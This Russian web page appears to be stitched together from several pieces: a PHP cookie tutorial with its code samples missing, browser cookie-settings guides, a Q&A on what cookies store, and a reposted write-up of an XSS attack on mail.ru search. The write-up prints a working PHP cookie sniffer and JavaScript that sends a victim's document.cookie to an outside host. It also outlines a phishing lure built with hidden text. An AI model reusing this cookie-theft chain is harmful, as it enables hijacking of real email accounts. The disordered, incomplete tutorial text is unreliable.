Руководство по cookie в PHP: как читать и создавать

Основные задачи cookie

Перечень самых основных задач:

Domain

Параметр указывает домен, на котором будут доступны куки, включая поддомены.

Google chrome

1. Откройте «Настройки» браузера.

2. Найдите заголовок «Конфиденциальность и безопасность».

3. В категориях данного заголовка зайдите «Очистить историю».

4. Выберите период и пункт «Файлы cookie и другие данные сайтов» для удаления.

5. Кликните на кнопку «Удалить данные».

Итоги

Теперь вы знаете зачем нужны файлы cookie, где они находятся и можете с толком применять функцию отключения или включения в нужный момент. Если вы не донца поняли данную тему, или не нашли ответа на свой вопрос — пишите нам в комментариях, и мы вам подробно ответим.

Max-age и expires

max-age устанавливает время жизни куки в секундах, а параметр expires задает непосредственно дату окончания в формате RFC-822 или RFC-1123 (Mon, 03 Jul 2021 10:00:00 GMT).

Mozilla firefox

В веб-консоли (Windows: F12, MacOS: ⌘ ⌥ k), вкладка «Хранилище», раздел «Куки».

Авторизация с использованием php cookie

Для примера я создам 2 формы. Первая с одним единственным полем, в которое будем писать свое имя. Пока не будет введено и отправлено имя, пользователю будут недоступны некоторые элементы страницы. То есть, если он не авторизован, то какие-то функции сайта от него будут скрыты, а так же показано приветствие.

Пример cookie в PHP
Код PHP

Теперь осталось в HTML вставить нужные переменные.

Время жизни cookie в php

Если не указан третий параметр (Expires), то куки будут храниться до окончания сессии, то есть пока вы не закроете браузер. Но можно выставить и другие временные рамки, к примеру на 1 час или на 1 день и т. д. Вот некоторые примеры:

Этого вполне достаточно, но многие интересуются, как сделать так, чтобы куки жили вечно или сделать время жизни бесконечным. Не очень понимаю в каких случаях это может понадобиться, однако ответ на этот вопрос будет — НЕТ, нельзя. Но можно поставить максимальное время. Пишется так: 0x7FFFFFFF — дата 19.01.2038 года.

Как включить или отключить куки

В современном мире любой пользователь должен понимать, как включить файлы cookie, чтобы адаптировать свою жизнедеятельность, не вписывая свои данные по новой, при повторном входе в ресурс, в котором они ранее регистрировались. Поэтому мы написали инструкцию по включению cookies в Яндекс Браузере и Google Chrome.

Файлы cookie очень часто критикуют из-за того, что их применяют для сохранения данных о пользователях всемирной паутины. Но, куки не запоминают лично вас, а присваивают вам некий идентификационный номер и историей ваших действий. Поэтому, веб-ресурсы обязаны информировать их посетителей, об использовании куки-файлов.

Как очистить cookies

Если вы хотите подчистить файлы куки в своем браузере и не знаете — как это сделать, прочитав нашу инструкцию вы поймете, что ничего сложного в этом нет. Однако, это не обеспечит вам ожидаемую конфиденциальность. Поскольку вы удаляете свою историю непосредственно с вашего устройства, но в базе данных, расположенной на сервере браузера все ваши действия сохраняются в любом случае.

К примеру, случай из жизни: недавно мы решили написать статью на тему: Окна Овертона. Лично я принципиально работаю в офисе нашего агентства, стараясь дома больше проводить время с семьей и рабочий Macbook беру домой крайне редко. Но данная статья оказалась масштабной и пришлось поработать дома вечером (рабочий компьютер остался в офисе).

Корректировать статью пришлось с общего компьютера, к которому имеют доступ дочка и жена. Дочка еще маленькая, но уже активно пользуется интернетом. На общем компьютере у меня сохранился пароль к системе управления нашим сайтом. Следовательно, мне было необходимо воспользоваться очисткой cookie.

Как получить, прочитать, проверить cookie в php

В этом нам поможет глобальный массив COOKIE. Чтобы получить значение куки нам нужно вызвать ее по имени.

Как вы уже догадались, на экран выведется пятерка. Теперь сделаем проверку. Если данная кука была установлена, то выедем одно сообщение, если не была, то другое.

Есть один маленький нюанс. При первом заходе на страницу будет выведено сообщение, что куки не установлены, однако, если заглянуть в консоль браузера, то увидим, что она там есть. В чем же дело? Элементарно. Дело в том, что запрос на проверку и сама установка куки идут ОДНОВРЕМЕННО. Поэтому сообщение об успешной установке мы увидим только после следующей перезагрузке страницы.

Теперь у нас есть условие и его можно использовать в некоторых случаях.

Как создавать файлы cookie в php

В этом разделе мы рассмотрим, как вы можете создавать файлы cookie в PHP. Для создания файлов cookie в PHP вам необходимо использовать функцию setcookie. Давайте рассмотрим основной синтаксис, который используется для создания файла cookie.

Как удалить или очистить (unset) куки в php

Удаление куки в PHP можно сделать двумя способами. Оставить значение пустым или установить прошедшую дату, со знаком минус:

Как удалять файлы cookie в php

Вам было бы интересно узнать, что вы также можете использовать функцию setcookie для удаления файлов cookie. Уловка заключается в том, что вам нужно установить дату истечения срока действия в прошлом, и файл cookie будет удален. Давайте посмотрим на это в действии на следующем примере.

Как видите, мы указали дату истечения срока действия в прошлом, установив для него значение time() — 3600. Важно отметить, что мы также использовали функцию unset для удаления файла cookie LastVisitedSection из $_COOKIE суперглобальной переменной, чтобы убедиться, что cookie LastVisitedSection не будет доступен позже в коде.

Читайте также  Как в контакте посмотреть текст песни?

Как установить куки в php

Все не так сложно, как может показаться. Установка cookie происходит следующим образом:

Это базовые значения, которые обязательны для заполнения. Но параметров гораздо больше, а именно 7! Семь, Карл! И вот для чего каждый из них нужен.

В подавляющем большинстве случаев используются первые 3 параметра чтобы записать cookie в PHP. То есть имя, значение и время жизни. Этого вполне достаточно для полноценной работы. Давайте к практике.

Здесь я установил cookie name со значением — 5, которая удалится через 1 минуту.

Как читать файлы cookie в php

Считывание файлов cookie в PHP несложно. Для чтения доступных файлов cookie необходимо использовать суперглобальную переменную $_COOKIE. Фактически, переменная $_COOKIE представляет собой массив, содержащий все файлы cookie.

Давайте посмотрим на следующий фрагмент.

Вы можете использовать функцию print_r или var_dump для проверки всех доступных файлов cookie в целях отладки.

В PHP так легко читать файлы cookie! В следующем разделе мы увидим, как удалить файлы cookie.

Какая информация хранится в cookies?

test2235, когда веб-сервер отправил страницу в браузер, то всё, соединение закрывается, и сервер забывает абсолютно всё о юзере. Он в состоянии конечно сохранить куда-то IP пользователя попытаться, или другие данные о браузере, версии операционной системы пользователя, фингерпринт какойто, и так далее, но это не будут точные данные на 100%

Куки изобрели чтобы решить эту проблему, теперь информацию о пользователе можно хранить у самого пользователя на компьютере или в его телефоне.


А что именно там хранится обычно?

Когда пользователь посещает сайт, то его имя можно сохранить в куки:
user = Валерий
и в следующий раз при посещении сервер может написать только вам, с учётом собственных настроек города (city=Tokyo) “Привет! Валерий, сегодня будет пасмурно, возьми зонт если собираешься на улицу”.

Каждый раз, когда браузер запрашивает страницу с сервера – куки прикладываются к запросу. Таким образом, сервер сразу получает необходимые ему данные о вас, это заставляет сервер служить именно ему (пожелавшему пользователю), а не всем подряд, заходил-ли пользователь уже на сайт – поприветствовать его, или предложить зарегистрироваться (если куки не было от него получено). Другой вариант, это когда какие-то настройки пользователь уже сделал под себя на сайте, какие ему удобно, например он мог изменить фон на тёмный, о настройках сайта, что тоже можно сохранить в куки:

user = Валерий;
city = Tokyo;
background = black

Залез в настройки firefox – там логины и пароли вообще отдельно, не в куки, тогда куки для чего?

логин и пароль в куки лучше не хранить, так как при соединении через http их можно считать, лучше вообще никаких данных не хранить в куки в открытом виде, более подходяще кодировать их, чтобы в них была какаято абракадабра которая понятна только серверу


Но из LocalStorage же данные не отправляются на сервер, зачем тогда его придумали, если есть просто кеш?

до того как появился HTML5, данные сайта о пользователе хранились только в куки, и отправлялись при каждом запросе. LocalStorage хранит данные для того чтобы хранить Save к онлайн игре в которую он играл на сайте, или прогресс видеоплеера когда смотрел кино, чтобы не хранить всё это в куки, например сейв к игре может занимать несколько мегабайт что не уместится в обычное куки где всего 4 КБ. А кэш нужен для того чтобы повторно не получать файлы которые уже были загружены, если не изменились на сервере c последнего раза когда пользователь посещал сайт – то не загружать их.

Рекомендации по использованию файлов cookie в php

В заключение я хотел бы привести некоторые рекомендации. Никогда не вставляйте конфиденциальные данные в cookie. Клиент может просматривать их на общедоступном компьютере, поэтому не оставляйте никаких личных данных.

Никогда не доверяйте данным, поступающим из файлов cookie. Всегда фильтруйте строки и числа! Клиентские компьютеры могут изменять файлы cookie по своему желанию, поэтому злоумышленники могут записать вредоносные данные в файл cookie, чтобы сделать что-то, чего вы не хотите, чтобы выполняла ваша служба.

Постарайтесь оценить, как долго файл cookie должен быть действителен, и соответственно установите дату истечения срока его действия. Вы же не хотите забивать клиентский компьютер старыми файлами cookie, срок действия которых истекает через сто лет.

Счетчик просмотров страницы на php cookie

недавно я публиковал материал на тему создания счетчика просмотров страниц. Но там он считает общее количество просмотров всеми посетителями. Здесь же мы сделаем некую индивидуальность и покажем сколько раз каждый их юзеров был на этой странице. Благо делается он очень просто. Вот его код:

Потом просто выводим на странице переменную count. Протестировать и посмотреть пример работы PHP cookie можно на этой странице:

Демо
Работа с куки в PHP

Уводим чужие cookies c

Не так давно прочитал на Хабре

пост

, в котором предлагалось посетить бесплатное мероприятие, посвященное вопросам информационной безопасности. Так как мероприятие проходило в моем городе, я решил, что мне нужно непременно туда сходить. Первое занятие было посвящено уязвимостям на сайтах типа

XSS

. После занятия я решил, что нужно закрепить полученные знания в реальных условиях. Выбрал для себя несколько сайтов, которые относятся к моему городу и начал во все формы пытаться воткнуть свой скрипт. В большинстве случаев скрипт отфильтровывался. Но бывало так, что «алерт» и срабатывал, и появлялось мое сообщение. О найденной уязвимости сообщал администраторам, и они быстро все исправляли.

В один из таких дней проверяя свежую почту на mail.ru мне на глаза попалась форма для поиска писем в почтовом ящике. Изредка я пользовался этим поиском, чтобы найти что-то нужное в куче своих старых писем. Ну, а так как я в последние пару дней вставлял свой «алерт» практически везде куда только можно было, рука рефлекторно потянулась к этой форме поиска. Набрал код своего скрипта и нажал Enter. Каково же было мое удивление, когда на экране я увидел до боли знакомое сообщение…

image

На лекции Open InfoSec Days докладчик говорил, что программисты довольно скептически относятся к уязвимостям подобного рода, мол «алерт? Ну и что с того? Это не опасно». Если на других сайтах я довольствовался только этим окошком с моим сообщением, то в данном случае я решил пойти дальше и показать, что из такого вот «алерта» может получиться.

Читайте также  Комментарии к фото

Итак, скрипт срабатывает, а значит, есть уязвимость. Следовательно, можно попробовать запустить какой-нибудь другой скрипт. Например, скрипт, который передает cookies другого пользователя нам. Чтобы скрипт сработал, нужно заставить пользователя выполнить наш скрипт. Сделать это можно отослав ему письмо с соответствующей ссылкой, после нажатия, на которую произойдет поиск по почтовому ящику и выполнится нужный нам код.

На то, чтобы понять механику уязвимости, потребовалось некоторое время и множество экспериментов. Иногда скрипт срабатывал, иногда отфильтровывался. После некоторых усилий эмпирическим путем было установлено, что скрипт 100% срабатывает только в том случае, если поиск по письмам даст положительный результат. То есть когда пользователь выполняет поиск с нашим скриптом, нужно чтобы хотя бы одно письмо в его почтовом ящике по заданным параметрам нашлось. Устроить это не сложно.

Дальше я занялся ссылкой, которая запустит поиск. Отследил закономерность в адресной строке, по которой выполняется поиск:

image

Примерно такую ссылку и будем отправлять в письме. Так как наша задача забрать себе чужие cookies, нам понадобится сниффер. Был написан скрипт sniff.php и залит на сторонний хостинг. Код сниффера такой:

<?php
if (isset($_GET['cookie']))
{
$text = "New cookie accept from ". $_SERVER['REMOTE_ADDR'] ." at ". date('l jS of F Y h:i:s A');
$text .= "n".str_repeat("=", 22) . "n" . $_GET['cookie']."n".str_repeat("=", 22)."n";
$file = fopen("sniff.txt", "a");
fwrite($file, $text);
fclose($file);
}
?>

Так же вместо «алерта» нужен скрипт, который будет передавать cookies нашему снифферу. Этот скрипт напишем в отдельном файле и будем его подгружать в наш поиск. Создал файл test.js с нужным кодом и залил на хостинг. Код скрипта такой:

img=new Image();
img.src='https://sitename.ru/sniff.php?cookie=' document.cookie;
function F() {
location='http://www.solife.ru';
}
setTimeout(F, 5000);

Что хотелось бы здесь пояснить. Поставим себя на место злоумышленника. Нужно чтобы пользователь кликнул по ссылке. Как его заставить это сделать? Можно пообещать золотые горы и чтобы их получить нужно, проследовать по нашей ссылке на сайт. Но не думаю, что это сработает. Народ уже на такое не ведется (сам постоянно удаляю такие письма, даже не читая). Поэтому будем играть на человеческой жалости, благо она еще существует в природе. Попросим проголосовать на сайте за спасение истребляемых животных. Вначале заберем cookies, а потом переправим пользователя на сайт для голосования. Таймаут для переадресации выставил в 5 секунд, в противном случае cookies просто не успевали передаться снифферу, а пользователя сразу перебрасывало на сайт про животных. Вместо «алерта» использовал следующий скрипт:

image

Когда со скриптами было покончено, я занялся написанием письма. Придумал примерно следующее содержание:
image
Получилось довольно цинично, но старался приблизить условия к максимально реальным. В конце письма дописана строчка со скриптом, это чтобы наше письмо нашлось, когда мы сделаем поиск. Чтобы строка не вызывала лишних вопросов закрасил ее белым цветом. Так же в слове «http» поставил «пробел» чтобы строка не распозналась и не преобразовалась в ссылку. Иначе, несмотря на то, что скриптовая строка написана шрифтом белого цвета ссылка бы выделилась синим цветом у адресата, а этого нам не надо. Умный поиск все равно найдет и распознает эту строку, не смотря на пробелы.

Ссылку для поиска использовал следующую:

e.mail.ru/cgi-bin/gosearch?q_folder=0&q_query='>

Для скрипта применил URL кодирование, чтобы ничего не отфильтровалось. Так же для поиска добавил параметр «q_folder=0», это чтобы поиск происходил по папке «Входящие».

Письмо готово, отправляем его. В качестве адресата я использовал свой второй почтовый ящик на этом же сервисе. Смотрим, что пришло на другой ящик.

image

Наш текст скрипта не видно, так как он сливается с фоном. Нажмем на ссылку и посмотрим, что произойдет. Пользователь перемещается в результаты поиска писем по заданному нами параметру. Наше письмо, которое мы отсылали видно в результатах поиска. В это время наш скрипт уже сработал и отослал cookies пользователя снифферу. Через 5 секунд (время зависит от настроек скрипта) пользователь переправляется на сайт с голосованиями.

Проверяю свой файл sniff.txt:

image

Так как целью моей не является кража чужих ящиков или получения доступа к ним, на этом повествование закончу. Но теоретически можно подменить свои cookies на чужие и получить доступ к чужому почтовому ящику. В общем если злоумышленник загорится целью, то он найдет применение полученной информации.

Хотелось бы поблагодарить Сергея Белова (BeLove), за его познавательное мероприятие Open InfoSec Days, которое вдохновило меня на поиски уязвимостей на сайтах.

Так же хотелось бы выразить благодарность команде mail.ru, которые закрыли эту уязвимость в считаные минуты.

Файлы cookie и переменные сеанса

Не уверены, нужны ли вам файлы cookie или переменные сеанса? Переменные сеанса — это способ хранить данные о пользователе в базе данных и извлекать их позже. Файлы cookie — это способ хранения данных о пользователе на его компьютере. Переменные сеанса обычно используются в приложениях, которым необходимо отслеживать активность пользователя. Файлы cookie обычно используются в приложениях, которым необходимо хранить информацию о пользователе для одного сайта.

Вы также можете узнать о переменных сеанса в моем сообщении об PHP.

Яндекс браузер

Чтобы включить куки в Яндекс Браузере:

1. Откройте «Настройки» браузера.

2. Выберите в sidebar раздел «Сайты».

3. Затем откройте раздел «Расширенные настройки».

4. Опуститесь вниз страницы до раздела «Cookie-файлы» и выберите пункт «Разрешены».

Таким же образом вы можете отключить данные файлы, в случае необходимости, выбрав пункт «Запрещены». В случае, если вы хотите ограничить сбор ваших данных для какого-то определенного сайта, вам необходимо:

1. Также, зайдите в «Настройки сайтов».

2. В верхней строке меню, выберите вкладку «Запрещены».

3. В левом верхнем углу кликните «Добавить».

4. В всплывающей строке, введите URL необходимого сайта.

Тем самым, вы ваши куки-файлы останутся открытыми для браузера, и вы ограничите сбор данных для определенного сайта. По аналогичному методу, вы можете совершить обратную операцию, закрыть ваши данные для браузера в целом и выбрать конкретные сайты, с которыми хотели бы делиться информацией о ваших действиях.

Понравилась статья? Поделиться с друзьями:
ТВОЙ ВК
Добавить комментарий

Adblock
detector